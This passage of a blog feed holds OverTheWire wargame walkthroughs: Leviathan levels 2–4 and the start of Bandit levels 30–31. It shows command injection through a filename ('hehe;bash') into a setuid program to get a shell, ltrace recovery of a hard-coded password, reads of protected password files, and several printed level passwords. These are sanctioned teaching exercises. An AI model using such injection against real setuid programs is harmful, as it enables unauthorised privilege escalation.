&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now if we try to print this file with the &lt;code&gt;printfile&lt;/code&gt; program:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;leviathan2@leviathan:~$ ./printfile /tmp/mine2/hehe&lt;span style="color:#ae81ff"&gt;\;&lt;/span&gt;bash
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/bin/cat: /tmp/mine2/hehe: No such file or directory
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;leviathan3@leviathan:~$
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We got a shell, and now we can &lt;code&gt;cat&lt;/code&gt; the password file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;leviathan3@leviathan:~$ cat /etc/leviathan_pass/leviathan3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Ahdiemoo1j
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="level-3"&gt;
Level 3
&lt;a href="#level-3" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Log in to &lt;code&gt;leviathan3&lt;/code&gt;, using the password found from Level 2:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -p &lt;span style="color:#ae81ff"&gt;2223&lt;/span&gt; leviathan3@leviathan.labs.overthewire.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we list the home directory:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;leviathan3@leviathan:~$ ls -al
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;total &lt;span style="color:#ae81ff"&gt;32&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;drwxr-xr-x &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; root root &lt;span style="color:#ae81ff"&gt;4096&lt;/span&gt; Aug &lt;span style="color:#ae81ff"&gt;26&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; .
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;drwxr-xr-x &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; root root &lt;span style="color:#ae81ff"&gt;4096&lt;/span&gt; Aug &lt;span style="color:#ae81ff"&gt;26&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; ..
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-rw-r--r-- &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; root root &lt;span style="color:#ae81ff"&gt;220&lt;/span&gt; May &lt;span style="color:#ae81ff"&gt;15&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2017&lt;/span&gt; .bash_logout
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-rw-r--r-- &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; root root &lt;span style="color:#ae81ff"&gt;3526&lt;/span&gt; May &lt;span style="color:#ae81ff"&gt;15&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2017&lt;/span&gt; .bashrc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-r-sr-x--- &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; leviathan4 leviathan3 &lt;span style="color:#ae81ff"&gt;10288&lt;/span&gt; Aug &lt;span style="color:#ae81ff"&gt;26&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; level3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-rw-r--r-- &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; root root &lt;span style="color:#ae81ff"&gt;675&lt;/span&gt; May &lt;span style="color:#ae81ff"&gt;15&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2017&lt;/span&gt; .profile
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &lt;code&gt;level3&lt;/code&gt; executable runs with &lt;code&gt;leviathan4&lt;/code&gt; permissions using the setuid bit, so if we exploit it we can cat the password for level 4.&lt;/p&gt;
&lt;p&gt;If we run the program:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;leviathan3@leviathan:~$ ./level3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Enter the password&amp;gt; password
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bzzzzzzzzap. WRONG
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can use &lt;code&gt;ltrace&lt;/code&gt; to see the library calls of the program:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;leviathan3@leviathan:~$ ltrace ./level3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;__libc_start_main&lt;span style="color:#f92672"&gt;(&lt;/span&gt;0x8048618, 1, 0xffffd694, 0x80486d0 &amp;lt;unfinished ...&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;strcmp&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;h0no33&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;kakaka&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; -1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;printf&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Enter the password&amp;gt; &amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;fgets&lt;span style="color:#f92672"&gt;(&lt;/span&gt;Enter the password&amp;gt; &lt;span style="color:#ae81ff"&gt;11&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;11\n&amp;#34;&lt;/span&gt;, 256, 0xf7fc55a0&lt;span style="color:#f92672"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; 0xffffd4a0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;strcmp&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;11\n&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;snlprintf\n&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; -1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;puts&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;bzzzzzzzzap. WRONG&amp;#34;&lt;/span&gt;bzzzzzzzzap. WRONG
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;19&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;+++ exited &lt;span style="color:#f92672"&gt;(&lt;/span&gt;status 0&lt;span style="color:#f92672"&gt;)&lt;/span&gt; +++
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As we can see it simply compares the input we give with the word &lt;em&gt;snlprintf&lt;/em&gt;, so this is our password:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;leviathan3@leviathan:~$ ./level3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Enter the password&amp;gt; snlprintf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;You&lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;#39;&lt;/span&gt;ve got shell&lt;span style="color:#f92672"&gt;]&lt;/span&gt;!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ cat /etc/leviathan_pass/leviathan4
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;vuH0coox6m
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="level-4"&gt;
Level 4
&lt;a href="#level-4" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Log in to &lt;code&gt;leviathan4&lt;/code&gt;, using the password found from Level 3:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -p &lt;span style="color:#ae81ff"&gt;2223&lt;/span&gt; leviathan4@leviathan.labs.overthewire.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we list the home directory:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;leviathan4@leviathan:~$ ls -al
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;total &lt;span style="color:#ae81ff"&gt;24&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;drwxr-xr-x &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; root root &lt;span style="color:#ae81ff"&gt;4096&lt;/span&gt; Aug &lt;span style="color:#ae81ff"&gt;26&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; .
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;drwxr-xr-x &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; root root &lt;span style="color:#ae81ff"&gt;4096&lt;/span&gt; Aug &lt;span style="color:#ae81ff"&gt;26&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; ..
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-rw-r--r-- &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; root root &lt;span style="color:#ae81ff"&gt;220&lt;/span&gt; May &lt;span style="color:#ae81ff"&gt;15&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2017&lt;/span&gt; .bash_logout
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-rw-r--r-- &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; root root &lt;span style="color:#ae81ff"&gt;3526&lt;/span&gt; May &lt;span style="color:#ae81ff"&gt;15&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2017&lt;/span&gt; .bashrc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-rw-r--r-- &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; root root &lt;span style="color:#ae81ff"&gt;675&lt;/span&gt; May &lt;span style="color:#ae81ff"&gt;15&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2017&lt;/span&gt; .profile
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dr-xr-x--- &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; root leviathan4 &lt;span style="color:#ae81ff"&gt;4096&lt;/span&gt; Aug &lt;span style="color:#ae81ff"&gt;26&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; .trash
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;There is a hidden directory &lt;code&gt;.trash&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;leviathan4@leviathan:~$ ls -al .trash/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;total &lt;span style="color:#ae81ff"&gt;16&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dr-xr-x--- &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; root leviathan4 &lt;span style="color:#ae81ff"&gt;4096&lt;/span&gt; Aug &lt;span style="color:#ae81ff"&gt;26&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; .
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;drwxr-xr-x &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; root root &lt;span style="color:#ae81ff"&gt;4096&lt;/span&gt; Aug &lt;span style="color:#ae81ff"&gt;26&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; ..
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-r-sr-x--- &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; leviathan5 leviathan4 &lt;span style="color:#ae81ff"&gt;7352&lt;/span&gt; Aug &lt;span style="color:#ae81ff"&gt;26&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; bin
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we run the program:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;leviathan4@leviathan:~$ cd .trash/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;leviathan4@leviathan:~/.trash$ ./bin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;01010100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01101001&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01110100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01101000&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00110100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01100011&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01101111&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01101011&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01100101&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01101001&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00001010&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we convert it to decimal:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;84 105 116 104 52 99 111 107 101 105 10
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If we convert it to ascii, we will see this is our password (emitting the NL line feed char):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Tith4cokei
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>OverTheWire - Bandit Walkthrough - Levels 30-33</title><link>https://thanoskoutr.com/posts/ctfs/overthewire/bandit/levels-30-33/</link><pubDate>Thu, 20 May 2021 23:30:25 +0300</pubDate><guid>https://thanoskoutr.com/posts/ctfs/overthewire/bandit/levels-30-33/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/overthewire.jpg"/&gt;
&lt;p&gt;&lt;a href="https://overthewire.org/wargames/"&gt;OverTheWire&amp;rsquo;s&lt;/a&gt; wargames are offered to help learn and practice security concepts in the form of fun-filled games.&lt;/p&gt;
&lt;p&gt;The &lt;a href="https://overthewire.org/wargames/bandit/"&gt;Bandit&lt;/a&gt; wargame is aimed at absolute beginners and will teach them the basics needed to be able to play other wargames. All the challenges are focused on the Linux systems and their commands. It aims to get the player familiar with the Linux terminal and introduce some basic security concepts.&lt;/p&gt;
&lt;p&gt;It consists of a total of 33 Levels. At each level, you have to find the password for the next level to continue playing. Each Level is a user that you connect as, using SSH in the &lt;code&gt;bandit.labs.overthewire.org&lt;/code&gt; server.&lt;/p&gt;
&lt;p&gt;In this post, we will present the solutions for &lt;strong&gt;Levels 30-33&lt;/strong&gt; of the Bandit wargame.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;See the solutions for the previous &lt;a href="https://thanoskoutr.com/posts/ctfs/overthewire/bandit/levels-20-29/"&gt;&lt;strong&gt;Levels 20-29&lt;/strong&gt;&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; &lt;em&gt;These walkthroughs are written and published to help other members of the community that are stuck at some Level. &lt;strong&gt;It is strongly advised&lt;/strong&gt; to first try the challenges yourself until you can progress no more, and only then come back here to see the solution.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="level-30"&gt;
Level 30
&lt;a href="#level-30" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="level-goal"&gt;
Level Goal
&lt;a href="#level-goal" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;There is a git repository at &lt;code&gt;ssh://bandit30-git@localhost/home/bandit30-git/repo&lt;/code&gt;. The password for the user &lt;code&gt;bandit30-git&lt;/code&gt; is the same as for the user &lt;code&gt;bandit30&lt;/code&gt;.
Clone the repository and find the password for the next level.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="solution"&gt;
Solution
&lt;a href="#solution" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Log in to &lt;code&gt;bandit30&lt;/code&gt;, using the password found from Level 29:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -p &lt;span style="color:#ae81ff"&gt;2220&lt;/span&gt; bandit30@bandit.labs.overthewire.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We first create a directory to work on, in &lt;code&gt;/tmp&lt;/code&gt;, in order to work:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mkdir /tmp/mine30
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd /tmp/mine30
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We then clone the git repository:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone ssh://bandit30-git@localhost/home/bandit30-git/repo
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The password is the same as the current&amp;rsquo;s level.&lt;/p&gt;
&lt;p&gt;There is only one README file in the repo and we can &lt;code&gt;cat&lt;/code&gt; it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit30@bandit:/tmp/mine30$ cd repo
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit30@bandit:/tmp/mine30/repo$ cat README.md
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;just an empty file... muahaha
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Nothing much here.&lt;/p&gt;
&lt;p&gt;We can navigate to the &lt;code&gt;.git&lt;/code&gt; directory:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit30@bandit:/tmp/mine30/repo$ cd .git
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;There if we &lt;code&gt;cat&lt;/code&gt; the &lt;code&gt;packed-refs&lt;/code&gt; file we can see a hash that corresponds to a secret tag:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit30@bandit:/tmp/mine30/repo/.git$ cat packed-refs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# pack-refs with: peeled fully-peeled&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;3aefa229469b7ba1cc08203e5d8fa299354c496b refs/remotes/origin/master
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;f17132340e8ee6c159e0a4a6bc6f80e1da3b1aea refs/tags/secret
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can view all of the tags in the git repo with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit30@bandit:/tmp/mine30/repo$ git tag
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;secret
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In order to see information about the tag we can use:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit30@bandit:/tmp/mine30/repo$ git show secret
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;47e603bb428404d265f59c42920d81e5
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="level-31"&gt;
Level 31
&lt;a href="#level-31" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="level-goal-1"&gt;
Level Goal
&lt;a href="#level-goal-1" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;There is a git repository at &lt;code&gt;ssh://bandit31-git@localhost/home/bandit31-git/repo&lt;/code&gt;. The password for the user &lt;code&gt;bandit31-git&lt;/code&gt; is the same as for the user &lt;code&gt;bandit31&lt;/code&gt;.
Clone the repository and find the password for the next level.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="solution-1"&gt;
Solution
&lt;a href="#solution-1" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Log in to &lt;code&gt;bandit31&lt;/code&gt;, using the password found from Level 30:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -p &lt;span style="color:#ae81ff"&gt;2220&lt;/span&gt; bandit31@bandit.labs.overthewire.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We first create a directory to work on, in &lt;code&gt;/tmp&lt;/code&gt;, in order to work:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mkdir /tmp/mine31
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd /tmp/mine31
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We then clone the git repository:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone ssh://bandit31-git@localhost/home/bandit31-git/repo
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The password is the same as the current&amp;rsquo;s level.&lt;/p&gt;
&lt;p&gt;There is only one README file in the repo and we can &lt;code&gt;cat&lt;/code&gt; it:&lt;/p&gt;
